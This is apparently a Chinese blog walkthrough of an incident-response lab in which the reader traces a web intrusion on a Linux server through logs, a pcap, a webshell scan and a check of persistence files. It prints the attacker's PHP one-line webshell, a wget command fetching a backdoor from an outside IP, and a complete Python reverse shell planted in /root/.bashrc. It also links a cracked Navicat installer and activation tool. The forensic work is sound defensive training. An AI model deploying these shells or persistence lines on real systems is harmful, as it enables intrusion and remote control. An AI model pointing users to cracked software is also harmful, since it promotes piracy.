文章目录
一、前言
题目链接:第九章-blueteam 的小心思
三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!
题目就看着多一点都不难,大家放心吧;
题目既然提到了blueteam(蓝队),那我们这里就简单介绍一下红蓝队吧;
简单来说就是蓝队和红队是网络安全领域中的两个关键团队,分别负责保护和模拟攻击,以确保组织的信息系统和网络基础设施的安全。(也就是我们俗称的"护网行动"------HVV)
蓝队(Blue Team)
主要负责:
-
监控和检测:
- 实时监控网络流量、系统日志和安全警报,使用安全信息和事件管理系统(SIEM)来检测异常活动。
- 配置和管理入侵检测系统(IDS)和入侵防御系统(IPS)。
-
事件响应:
- 制定和实施事件响应计划,及时应对和处理安全事件。
- 调查和分析安全事件的来源和影响,采取适当的措施来遏制和解决问题。
-
漏洞管理:
- 定期进行漏洞扫描,识别和修复系统中的漏洞。
- 管理补丁程序的应用,确保系统软件和硬件的安全性。
-
风险评估和管理:
- 进行风险评估,识别潜在的安全威胁和风险。
- 制定和实施风险缓解策略,减少风险的影响。
-
安全策略和政策:
- 制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
- 监督和执行安全政策的实施,确保员工遵守安全规程。
-
取证分析:
- 在发生安全事件后进行取证分析,收集和分析证据,以便进行进一步的调查和法律行动。
- 保持事件日志和记录,以便进行审计和合规检查。
红队(Red Team)
主要负责:
-
渗透测试:
- 进行渗透测试,模拟真实攻击者的行为,测试组织的防御措施。
- 利用各种工具和技术发现系统、网络和应用程序中的漏洞。
-
社会工程学攻击:
- 进行社会工程学攻击,如钓鱼邮件和电话诈骗,测试员工的安全意识和反应。
- 分析和报告社会工程学攻击的结果,帮助组织改进培训和防御措施。
-
模拟攻击:
- 模拟高级持续性威胁(APT)攻击,测试组织在面对复杂和持久攻击时的防御能力。
- 评估组织的应急响应计划和事件处理能力。
-
报告与建议:
- 提供详细的报告,描述发现的漏洞、攻击路径和潜在影响。
- 提出改进建议,帮助组织加强安全措施,减少风险。
-
协作与演练:
- 与蓝队合作,进行对抗演练(Red Team vs. Blue Team),提高整体安全水平。
- 帮助组织识别和修复安全漏洞,改进防御策略和技术。
总结就是;
红队和蓝队的协作和对抗演练(例如红蓝对抗)可以帮助组织全面评估和提升其安全防御能力。通过这种方式,组织可以更好地理解自己的安全弱点,实施有效的防御策略,并提高应对真实网络威胁的能力。
那说都说了,这里我再啰嗦一下蓝队吧;(主要小组分工)
蓝队主要分工(说是这样说,真正开始的时候可能可能一个人打两份工那也算正常)
-
安全监控与检测小组
- 作用:实时监控网络流量、系统日志和安全事件,使用SIEM工具进行异常活动的检测。
- 成员职责:配置和管理入侵检测系统(IDS)和入侵防御系统(IPS),分析警报,识别潜在的安全威胁。
-
事件响应与取证小组
- 作用:响应和处理安全事件,进行取证分析,收集和分析证据。
- 成员职责:制定和实施事件响应计划,调查安全事件的来源和影响,采取措施遏制和解决问题,保留事件日志和记录。
-
漏洞管理与补丁管理小组
- 作用:进行漏洞扫描,识别和修复系统中的漏洞,管理补丁程序的应用。
- 成员职责:定期进行漏洞评估,确保系统软件和硬件的安全性,应用安全补丁,减少潜在的攻击面。
-
风险评估与管理小组
- 作用:进行风险评估,识别和管理安全风险,制定风险缓解策略。
- 成员职责:分析潜在的安全威胁,评估风险的影响和可能性,实施风险管理计划,减少风险。
-
安全策略与政策小组
- 作用:制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
- 成员职责:监督和执行安全政策的实施,审查和更新安全策略,确保员工遵守安全规程。
-
安全教育与培训小组
- 作用:提供安全意识培训,教育员工关于安全最佳实践和防范措施。
- 成员职责:设计和实施安全培训计划,进行演练和模拟,提高员工的安全意识和应急响应能力。
-
技术支持与工具开发小组
- 作用:提供技术支持,开发和维护安全工具和系统。
- 成员职责:配置和维护安全基础设施,开发自定义安全工具,支持其他小组的技术需求。
hvv开启的时间一般是6月-7月,所以可以说,大家4/5月左右有时间就要把自己的简介准备好了;
二、概览
简介
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz
任务环境说明
注:进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
开放题目
漏洞修复
题目;
1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
2、攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
3、找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
4、攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
5、攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
6、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
7、攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
8、攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
9、解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
10、因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
三、参考文章
四、步骤(解析)
准备步骤#1.0
老规矩嘛,使用Xshell新建或者SSH连接靶机都可,靶机的环境是Liunx;(方法不唯一,仅供参考)
新建连接,输入靶机IP,连接即可;(这里如一直连不上,看看自己是不是校园网(内网),是的话建议换手机热点/或者其它,因为它会对出口流量进行限制,接着再尝试进行连接)
![](https://i-blog.csdnimg.cn/direct/95d1487755da49dd96a86df7fc0ea1bf.png)
成功连接,不过这里注意,进去之后需立马执行;
命令;
sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
![](https://i-blog.csdnimg.cn/direct/de1d10bb722a40108bcb63c8f303e550.png)
为什么进去之后就需立马执行这个命令嘞?
简单来说就是,这条命令的作用是修改 Apache Web 服务器的端口配置,并重新启动 Apache 服务。
具体一点来说;
- 修改 Apache 服务器的配置文件,将监听端口从
80
改为9999
。 - 重新启动 Apache 服务,使新的配置生效。
靶机可以通过这种方式,可以改变 Apache Web 服务器的默认监听端口,常用于避免端口冲突或者提升服务器的安全性(通过使用非标准端口)。
步骤#1.1
攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客成功登录网站后台的密码并进行MD5加密,那我们就可以先查查日志,看看黑客登录的时候有没有留下什么痕迹;
具体一点来说就是;
Web 服务器日志 : 检查 Web 服务器的访问日志(如 Apache 的 access.log
或 Nginx 的 access.log
)。这些日志文件中可能记录了登录请求以及相应的参数。
使用命令;
cat /var/log/apache2/access.log | grep "POST /login"
得到;
![](https://i-blog.csdnimg.cn/direct/7084fa421551461b9f22bbe70e664940.png)
简单分析一下;
-
源 IP 地址 : 所有请求的源 IP 地址为
192.168.16.43
,这表明所有这些请求都来自同一台设备。 -
时间戳: 请求的时间戳逐渐递增,表明这些请求是在几秒钟内完成的。
- 首次请求:
18/Nov/2023:23:20:08
- 成功请求:
18/Nov/2023:23:20:21
- 首次请求:
-
状态码:
- 前四次请求返回状态码
200
,这表示请求成功并返回了页面。 - 最后一次请求返回状态码
302
,这表示请求成功后进行了重定向。这通常意味着成功登录并重定向到用户主页或管理页面。
- 前四次请求返回状态码
结论
- 黑客 IP 地址 :
192.168.16.43
- 登录尝试 :黑客在
23:20:08
至23:20:21
之间多次尝试登录,直到23:20:21
的最后一次登录成功。 - 成功登录 :最后一次
POST /login.php
请求返回状态码302
,表明登录成功并进行了重定向。
所以总的来说,日志里面暂时没有发现黑客登陆网站的账号以及密码,那没办法了,我们只能换一种方法;
检查数据库;
用户表: 检查数据库中存储用户信息的表。(一些数据库中会包含有管理员的账号以及我们需要的密码)
那我们既然需要进入到数据库查询,那肯定就是需要先找到数据库登录的账号密码对吧?
数据库登录的账号和密码通常存储在配置文件如 config.inc.php
中;
因为配置文件 config.inc.php
是专门用于存放应用程序的配置参数,包括数据库连接信息。
那这里我们使用"find"命令定位一下配置文件"config.inc.php"即可;
命令;
find / -name config.inc.php
得到;
![](https://i-blog.csdnimg.cn/direct/8be030f9e184474cb07faf2f5cb916de.png)
跟进分析,查看数据库登录账号密码;
命令;
cat var/www/html/include/config.inc.php
得到;
![](https://i-blog.csdnimg.cn/direct/e808d368ce5a4066a6530f0b412692a7.png)
我们可以得到;
- 数据库类型 :
pdo:mysql
- 数据库服务器 :
localhost
- 数据库用户名 :
root
- 数据库密码 :
mysql123
- 数据库名称 :
mirage
登录数据库;
命令;
mysql -uroot -pmysql123
登录成功;
![](https://i-blog.csdnimg.cn/direct/052e27e2070e4bacb5c1ee67e4b15cd0.png)
上面我们已经知道了是什么数据库;(mirage)
切换数据库;
use mirage;
得到;
![](https://i-blog.csdnimg.cn/direct/eb27a751df844c06b0ba488df94fab0c.png)
那接着就是库里查查里面有什么表了;
show tables;
得到;
![](https://i-blog.csdnimg.cn/direct/551ff97a9c1447aea6299ef774cfbe2c.png)
很明显看见了个users,里面就是数据库用户的账号密码信息;
所以我们使用命令;
select * from cpg16x_users;
得到;
![](https://i-blog.csdnimg.cn/direct/03c2bfacc69c4a37a97a42e676bec956.png)
但是发现里面并没有账号密码,那也没关系,总会有没查出的时候,那我们找找有没有什么其它关键的地方;
那就看看有没有流量,既然这条路给我们封死了,肯定会给我们别的路;
那就定位一=下看看有没有流量包呗;
命令;
find / -name "*.pcap"
得到;
![](https://i-blog.csdnimg.cn/direct/c898d323605745f68549724a453f16c4.png)
哎,在根目录下还真有,那我们就导出使用Wireshark分析呗;
这里为了便捷,我直接使用了之前使用过工具的"Finalshell"导出;
老规矩,打开主页,新建SHH连接(Liunx),接着输入靶机的IP,最后输入账号密码返回主页连接即可;
新建SSH连接;
![](https://i-blog.csdnimg.cn/direct/945c43f2efa344e79356757692a7b091.png)
输入靶机的IP以及账号密码;
![](https://i-blog.csdnimg.cn/direct/e858cbda700940daaf7344a1b8f06460.png)
跟目录下发现流量包,选中右键"下载"即可;
![](https://i-blog.csdnimg.cn/direct/109c9943f9114856915b862aab094e76.png)
注意下载路径;(以防自己下载了找不到)
![](https://i-blog.csdnimg.cn/direct/eebfe1ba609a450f8aad458217db9f82.png)
下载成功丢进Wireshark分析;
![](https://i-blog.csdnimg.cn/direct/b3d930a9e879445885fb96413735087f.png)
题目既然说黑客登录网站后台的密码,说了登录,所以我们就可以直接查http的关键"login.php";
命令;
http contains "login.php"
得到;
![](https://i-blog.csdnimg.cn/direct/32bfaebf8bc249058956957cd863eb29.png)
一共就那么几个usename、password,就算不知道具体是哪一个,我们一个一个尝试MD5加密提交都行;
所以最后尝试出来的密码就是;(随便找一个在线的MD5进行加密)
Aa12345^
至此;
flag{D63EDB0E9DF4CF411398E3658C0237E0}
步骤#1.2
攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
解题思路
题目问我们黑客在哪个PHP页面中成功上传了后门文件,提交提交PHP页面并且进行MD5解密,题一我们已经到导出了流量包,那我们可以查找一下"boundary";
那这里可能有的师傅就有疑问了,为什么要查找一下"boundary",这跟上传有什么关系嘛?
简单来说,在 Wireshark 中分析文件上传时,查找 boundary 是一个关键步骤。
boundary
一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据。
同时也具备;
-
识别上传内容的边界: 当文件通过 multipart/form-data 上传时,每个部分用 boundary 分隔。通过识别 boundary,可以分离出文件内容和其他表单数据。
-
解析上传的文件数据: boundary 提供了上传内容的分隔符,使得可以准确提取文件数据和元数据(如文件名、类型等)。
那这里我们就可以直接筛选一下"boundary";
使用命令;
http contains "boundary"
得到;
![](https://i-blog.csdnimg.cn/direct/f6c2ad693bb74db6b3ad64f886437b4a.png)
发现只有一条,跟进分析,"右键追踪HTTP流";
得到;
![](https://i-blog.csdnimg.cn/direct/6ef5625ebb6747b8b80e8395208b0ac5.png)
简单分析一下;
PK..
......<rW..'.............cpg.phpUT ..8jXetjXeux....!....!...<?php @eval($_POST["m3"]);?>
这段内容显示了一个ZIP文件的开始,包含一个PHP文件cpg.php
。
<?php @eval($_POST["m3"]);?>
这是一个典型的PHP Web shell代码。eval
函数会执行传入的任何PHP代码,因此黑客可以通过向该文件发送POST请求来执行任意代码。(俗称一句话木马)
题目问我们黑客上传木马文件的"页面",例如upload.php页面,所以;
上传的页面:pluginmgr.php
至此;
flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}
步骤#1.3
找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客上传webshell文件的MD5,老熟题了,找webshell嘛,手工排查找也可以,工具排查也可以,看自己喜欢,不过这里为了更便捷,肯定是使用工具进行排查,我们直接把网站的源码导出,接着丢进我们的"D盾"等待扫描结果即可;
那这里手工排查之前的文章也多有强调,那这里就不再多叙了,详细请看:应急响应-webshell查杀
那这里我们先导出源码(var/www/html),我使用的还是"Finalshell"导出;
找到源码"var/www/html";
![](https://i-blog.csdnimg.cn/direct/ac9d08ec365a404394f26452db84bec1.png)
右键选中,下载即可;(注意下载完成之后,是和题一"wireshark.pcap"一个目录)
导出完成,开始使用"D盾"扫描;(这里注意如导出找不到cpg.php,就说明被你电脑自动杀掉了)
![](https://i-blog.csdnimg.cn/direct/717e946b9da64c248e6942f6f9fe3127.png)
是不是很眼熟?对的,没错就是我们上题所在的"Wireshark"中找到的一句话木马"cpg.php",那我们跟进右键"记事本"打开看看是不是我们上题在pcap里面看见的;
石锤了;(这里就不再分析这个一句话木马了,相信很多师傅肯定都知道了)
![](https://i-blog.csdnimg.cn/direct/fc1f153fe63c4f5cb69cedacf9f5700c.png)
题目让我们提交文件的MD5,那这里推荐的就是两种方法,第一种直接在靶机里(Liunx)中直接
使用命令;(注意需在"同一目录下"执行)
md5sum cpg.php
得到;
![](https://i-blog.csdnimg.cn/direct/a1181d1593b24115a0fe3073edacb3b9.png)
这里因为已经导出源码了嘛(var;/www/html/),那当然木马肯定也在其中,所以直接在windows中直接;
使用命令;
certutil -hashfile cpg.php MD5
得到;
![](https://i-blog.csdnimg.cn/direct/ff3e1dcac8fc4c289ba46bc870e2f1bc.png)
至此;
flag{a097b773ced57bb7d51c6719fe8fe5f5}
文件进行MD5加密方法不唯一,仅供参考;
步骤#1.4
攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
解题思路
题目问我们黑客下载的列一个可执行后面程序是什么并且进行MD5加密,那这里我们可以有两个方法来进行查找,第一种,上题已查出了一个webshell"cpg.php",那我们就完全可以根据黑客上传的第一个webshell的时间来筛选前后下载的文件,因为来猜测黑客上传的时间肯定不会间隔太久,所以我们只需要查到第一次上传webshell的时间即可;
第二种,我们不是导出一个"wireshark.pcap"嘛,仔细分析一下也是可以发现黑客下载的可执行后门程序,毕竟我们之前就在里面查出过文件"cpg.php",所以同样的道理我们也是可以从里面发现;
那这里两种方法都给大家进行演示一下;
第一种:Liunx
我们先找到文件"cpg.php"上传的前后时间;
命令;(注意,同一目录下)
stat cpg.php
得到;
![](https://i-blog.csdnimg.cn/direct/18059d13b5d242d08d98f4ae79591811.png)
简单分析一下;
时间戳
-
访问时间 (Access):2024-07-15 08:54:44.408000000 +0000
- 文件最近一次被读取的时间。
-
修改时间 (Modify):2023-11-18 07:39:36.000000000 +0000
- 文件内容最近一次被修改的时间。
-
更改时间 (Change):2023-11-18 23:21:04.444013552 +0000
- 文件属性或内容最近一次被更改的时间。
文件权限和所有者
-
权限 :
0644
或-rw-r--r--
- 文件所有者有读写权限 (
rw-
) - 文件所属组有只读权限 (
r--
) - 其他用户有只读权限 (
r--
)
- 文件所有者有读写权限 (
-
所有者 (Uid) :
33
(用户www-data
) -
所属组 (Gid) :
33
(组www-data
)
现已确定文件修改时间(2023-11-18 07:39:36),及文件所有者(www-data);
那我们就可以使用命令,简单查一下,前后两天用户"www-data"干了什么;
find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data
命令分析;
简单来说这条命令用于查找在特定时间范围内由特定用户(www-data
)修改或创建的文件。
具体分析;
-
-newerct '2023-11-18 07:30:00'
- 查找在2023年11月18日07:30:00之后创建或修改的文件。
-
! -newerct '2023-11-19 07:30:00'
- 查找在2023年11月19日07:30:00之前创建或修改的文件。
-
! -path '/proc/' ! -path '/sys/' ! -path '/run/*'
- 排除路径为
/proc
、/sys
和/run
的文件。这些目录包含系统和内核相关的虚拟文件系统,不需要搜索。
- 排除路径为
-
-type f
- 仅查找普通文件(不包括目录、链接等)。
-
-exec ls -lctr --full-time {} +
- 对找到的每个文件执行
ls -lctr --full-time
命令,显示文件的详细信息:-l
:使用长格式列出文件。-c
:根据文件的状态更改时间排序。-t
:根据时间排序。-r
:逆序排列。--full-time
:使用完整的时间戳格式显示。
- 对找到的每个文件执行
-
2>/dev/null
- 将错误输出重定向到
/dev/null
,即忽略错误信息。
- 将错误输出重定向到
-
| grep www-data
- 过滤出包含
www-data
的行。这将显示所有由www-data
用户拥有或修改的文件。
- 过滤出包含
得到;
![](https://i-blog.csdnimg.cn/direct/4b7871582832459ea97057f9c88827ef.png)
-rw-r--r-- 1 www-data www-data 446 2023-11-18 23:20:18.031017308 +0000 /var/www/html/logs/security.log.php
-rw-r--r-- 1 www-data www-data 29 2023-11-18 23:21:04.444013552 +0000 /var/www/html/plugins/cpg.php
-rwxrwxrwx 1 www-data www-data 250 2023-11-18 23:26:21.793649688 +0000 /var/www/html/plugins/. /is.world
可以看见文件"/is.world",尝试进行MD5加密提交一下(注意题目让我们提交的是完整路径)
路径:/var/www/html/plugins/. /is.world
命令;
md5sum "/var/www/html/plugins/. /is.world"
得到;(尝试提交发现正确)
![](https://i-blog.csdnimg.cn/direct/6633b6f7043849f8b03fc06455fb3f0e.png)
至此;
flag{ee279c39bf3dcb225093bdbafeb9a439}
第二种:Wireshark
简单筛选一下http,按照一下大小排序,在大小为"1037"的包中发现关键;
![](https://i-blog.csdnimg.cn/direct/c392d4b65c5548bfacbf03c6fc7cfc7c.png)
跟进分析,追踪流HTTP;
![](https://i-blog.csdnimg.cn/direct/36e65754b9c643e9b65571fd9a1ada85.png)
简单分析一下;
URL在线解码得到;
m3=system("wget http://124.221.70.199:8889/is.world");
使用了PHP的 system
函数,执行了一个下载命令。
-
system
:PHP中的system
函数会执行一个外部程序,并输出结果。 -
wget
:这是一个用于从网络下载文件的命令行工具。命令中的参数指定了下载文件的URL。 -
http://124.221.70.199:8889/is.world
:这是文件下载的目标URL,包含了一个IP地址124.221.70.199
和端口8889
。目标文件名是is.world
。
题目问的什么?问的不就是黑客下载的程序嘛,所以就有理由进行怀疑,直接find定位一些文件位置即可;
命令;
find / -name is.world
得到;
![](https://i-blog.csdnimg.cn/direct/859feddd5fdf49d4a7be5dfabdb387c1.png)
后面的步骤就不进行演示,跟Liunx后面一样跟进过去,到文件"is.world"目录下进行MD5加密即可;
这里暂且举两个例子,仅供参考,方法不唯一;
步骤#1.5
攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
解题思路
题目让我们找到新镇的后面用户名称并且进行MD5加密提交,那都说了新增加用户,那我们肯定是检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等。
所以使用命令;
cat /etc/passwd
得到;
![](https://i-blog.csdnimg.cn/direct/f821f48e162040ba8bee03aeaa76f6d1.png)
简单分析一下;
其实一眼望过去,最不正常的就是最底下那个"knowledgegraphd";
因为从 /etc/passwd
文件来看,这个用户看起来异常,因为它的 UID 和 GID 都是 0,与 root 用户相同,这意味着它具有 root 权限。
用户权限分析:
root:x:0:0:root:/root:/bin/bash
- 这是系统管理员账户,UID 和 GID 都是 0。
knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash
- 这个账户的 UID 和 GID 也都是 0,意味着它具有与 root 用户相同的权限。这是一个明显的安全风险,通常用户不会被分配 UID 和 GID 为 0,除非是系统管理员。
用户的主目录和 shell:
/home/knowledgegraphd
是这个用户的主目录。/bin/bash
是这个用户的默认 shell,允许用户执行命令,这进一步表明这是一个高权限用户。
总结;
以上分析,
knowledgegraphd
用户就是是黑客创建的后门用户,因为它具有 root 权限,这在正常情况下是极不寻常的。此外,这个用户没有描述信息(通常用户会有一个描述字段,比如系统服务用户有描述它们用途的信息)。
题目让我们进行MD5加密在提交;
所以使用命令;
md5sum knowledgegraphd
![](https://i-blog.csdnimg.cn/direct/1eabb07d7a2d440a9d2ef2d0e50064dc.png)
哎,发现报错了,为什么呢?
因为这是字符串,字符串进行MD5加密和文件肯定不一样,因为靶机是"Ubuntu"的;
所以;
echo -n "knowledgegraphd" | md5sum
得到;
![](https://i-blog.csdnimg.cn/direct/23fd6fd77fb24f098b69a45097906030.png)
至此;
flag{4cda3461543c9a770a3349760594facd}
步骤#1.6
攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客创建的一个持久化的配置项的MD5,黑客在 Linux 系统上创建持久化配置项,以在任意用户登录时触发后门连接,通常会利用以下文件;
shell配置文件;
黑客可以修改用户的 Shel 配置文件,这些文件在用户登录时被执行。常见的文件包括:
1、"~/.bashrc":用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
2、"~/.bash_profile"或"~/.profile":这些文件在用户登录时执行。
3、"~/.zshrc":用于Zsh Shell,与"~/.bashrc"类似。
4、"/etc/profile":为所有用户提供的系统级别的配置文件,
5、"/etc/bash.bashrc":为所有用户提供的系统级别的配置文件,Bash Shell 专用。
一个一个跟进分析,查看有没有什么可疑的地方,最后也是在"/etc/profile"中发现关键;
命令;
cat /etc/profile
得到;
![](https://i-blog.csdnimg.cn/direct/5f1a3c6f8e6b4804895d9069851603eb.png)
简单分析一下;
简单来说就是 /etc/profile
文件的内容,这是一个系统范围的配置文件,用于设置 Bourne shell(如 sh、bash、ksh 等)的全局环境变量和配置。
- 首先,这段代码检查是否存在交互式 shell 的环境变量
${PS1-}
。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是/bin/sh
。 - 如果是 Bash,并且存在
/etc/bash.bashrc
文件,则会载入该文件的配置。 - 如果当前用户是 root 用户(通过
id -u
命令检查),则设置提示符PS1
为#
,表示超级用户权限。否则设置为$
,表示普通用户权限。 - 接下来就是黑客插入的后门程序:
/var/www/html/plugins/". "/is.world &
,它是一个恶意添加的行,试图运行一个不明的命令或程序。 - 最后,如果
/etc/profile.d
目录存在,则会加载该目录下所有可读的.sh
结尾的脚本文件,以扩展 shell 的配置。
题目让我们提交可疑配置文件的完整的路径小写md5值;
路径:/etc/profile
使用命令;(强调很多次了,这里就不再多强调了)
md5sum /etc/profile
得到;
![](https://i-blog.csdnimg.cn/direct/57e8dbb1de7c4ca99c47ba9da194614f.png)
至此;
flag{65bf3e4a9ac90d75ec28be0317775618}
还有一种做法,就是一般这种配置在/etc,猜测是执行可执行文件,所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序"is.world";
我们使用命令;
grep -Er "is.world" /etc
得到;
![](https://i-blog.csdnimg.cn/direct/a9b3ea24d15c4c8c80ff27cc6179bcb0.png)
简单分析一下这个命令,为什么是"-Er";
-E
: 表示启用扩展的正则表达式(Extended Regular Expression)模式。这使得grep
可以识别更多的正则表达式语法。-r
: 表示递归地在指定目录及其子目录中搜索。
综合起来就是,
grep -Er "is.world" /etc
的作用是在/etc
目录及其所有子目录中,使用扩展的正则表达式模式搜索包含字符串 "is.world" 的所有文件和行。
那有人就要问了,不加"-Er"行不行?
如下图;
![](https://i-blog.csdnimg.cn/direct/0df43864631b41b0a3b11b1d32d3b14f.png)
只加一个"-r"也可以识别出来;(不过还是推荐大家规范执行命令,养成习惯更好)
![](https://i-blog.csdnimg.cn/direct/5d9564aa22484a2a9e6fdb99e321d8a9.png)
步骤#1.7
攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
解题思路
跟上题差不多,只不过这里是只有root用户登录才会触发后门连接,那这里我们需要确定黑客可利用的文件或者位置,那这里我们就可以猜测了,如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;
1、"/root/.bashrc":在root用户登录Bash Shell时执行;
2、"/root/.bash_profile":在root用户登录时执行。
3、"/root/.profile":在root用户登录时执行。
4、"/etc/profile":所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、"/etc/rc.local":系统启动时执行,可以包含条件逻辑;
还是跟上题一样老操作,一个一个分析过去即可,最后也是在"/root/.bashrc"中发现关键;
使用命令;
cat /root/.bashrc
得到;
![](https://i-blog.csdnimg.cn/direct/b4805060d5b14815a80a123110e59c25.png)
简单分析一下;
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
简单来说这就是Python 一个经典的反弹 shell 脚本,常被用作创建后门的手段。
-
导入模块:
import socket, subprocess, os;
: 导入socket
、subprocess
和os
模块。这些模块分别用于网络通信、执行子进程和进行操作系统级别的操作。
-
创建套接字:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
: 创建一个 IPv4(AF_INET)流式套接字(SOCK_STREAM),用于 TCP 连接。
-
连接到远程服务器:
s.connect(("124.221.70.199", 9919));
: 连接到指定的 IP 地址124.221.70.199
和端口9919
。这通常是黑客控制的服务器。
-
重定向标准输入、输出和错误:
os.dup2(s.fileno(), 0);
: 将标准输入(文件描述符 0)重定向到套接字s
。os.dup2(s.fileno(), 1);
: 将标准输出(文件描述符 1)重定向到套接字s
。os.dup2(s.fileno(), 2);
: 将标准错误(文件描述符 2)重定向到套接字s
。
通过这些操作,任何通过 shell 进行的输入、输出和错误信息都会通过套接字
s
传递到黑客的服务器。 -
启动交互式 shell:
p=subprocess.call(["/bin/sh", "-i"]);
: 启动一个交互式 shell(/bin/sh),并将其连接到之前的套接字。这样,黑客就可以通过网络远程控制该系统。
-
后台运行:
&
: 将整个命令放入后台执行,这样它不会阻塞当前的终端会话。
总的来说,它允许黑客在受感染的系统上创建一个反弹 shell,使得黑客可以通过网络远程控制受感染的计算机。黑客可以执行任意命令、访问敏感数据、安装其他恶意软件等。
题目让我们提交配置文件完全路径的小写MD5值;
所以;
md5sum /root/.bashrc
得到;
![](https://i-blog.csdnimg.cn/direct/47b6a27d0bde400097f8ee9c0382ec42.png)
至此;
flag{4acc9c465eeeb139c194893ec0a8bcbc}
步骤#1.8
攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客加密的数据库名并且进行MD5加密,那既然这里又提到了数据库,这里就给大家推荐一个便捷连接数据库的工具"Navicat Premium",这个工具简单来说就是有图形化的界面便于大家更好的去分析;
但是在网上这个工具是需要收费的,而且这个工具在后面可能会常用到,那我们这边就直接找了一个破解版的供大家使用;
123云盘下载;
Navicat Premium 16 安装包下载
https://www.123pan.com/s/q2J1jv-7Lavd.html
提取码:0905
123云盘下载;
Navicat Premium 16 破解工具下载
https://www.123pan.com/s/q2J1jv-bLavd.html
提取码:0905
Navicat Premium 16 安装并破解激活图文教程(跟着教程来几分钟就搞定了)
那话不多说,我们接着进入主题,那这里早在之前题一的时候,我们就已得知了mysql数据的账号以及密码,只不过我们直连的数据库并不是使用工具来进行分析,那这里我们就尝试使用工具来进行分析;
首先还是老规矩,数据库的登录信息(账号密码),一般都会储存在配置文件"config.inc.php"中,那我们这里还是直接定位配置文件位置过去查看即可;
命令;
find / -name config.inc.php
得到;
![](https://i-blog.csdnimg.cn/direct/b47832b2deed444989f4a67d78f4e5e9.png)
/var/www/html/include/config.inc.php
跟进分析;
cat /var/www/html/include/config.inc.php
![](https://i-blog.csdnimg.cn/direct/8a7e40fb57234c7a89bd0b937b8ca19e.png)
数据库账号密码:root/mysql123
这里我就在Liunx中直接连了,我使用了工具"Navicat Premium 16"连接数据库,
激活完毕,登进主页,选择连接"mysql";
![](https://i-blog.csdnimg.cn/direct/90091c83a7784236894e90eecefa4ad5.png)
那想连到数据库肯定是先连接到靶机对吧?因为数据库是存在于靶机之上的,所以这里,我们选上方的"SSH"-->"勾选上使用SSH隧道"即可;
主机:靶机的IP,用户名:root,验证方法选择:密码,最后密码:qi5qaz(就是靶机的密码),注意!!先别着急点"确定",因为这时候是还没有连上的,我们先点击下方的"测试连接"看看有没有连上靶机;
![](https://i-blog.csdnimg.cn/direct/36f2d9b78f3a493bb3ef45cdaf9ca8f7.png)
会报这个错,为什么呢?因为现在我们只是连接上了吧唧并没有连接数据库,我们最终的目的就是连接到数据库,所以不要慌这时候,先点击确定;
![](https://i-blog.csdnimg.cn/direct/af9a137ad5084695b27a8d7f95bce81b.png)
这时候,再返回"常规",连接名就随便填,其它不需要改动,填上我们mysql数据库的账号密码即可;
![](https://i-blog.csdnimg.cn/direct/8c2af9c4c0ff4e69b9446f848025c51a.png)
最后返回主页,点击刚刚新建的数据库即可成功连接;(那这里有的师傅可能就会问了,一道题目至于这么详细嘛?现实中数据库图形化界面有时候就是比直接敲命令更好理解一点,我这里详细一些就是因为很多时候我也是过来人,第一次接触这个东西确实有很多不明白的地方,详细一些便于对新的知识更好了解)
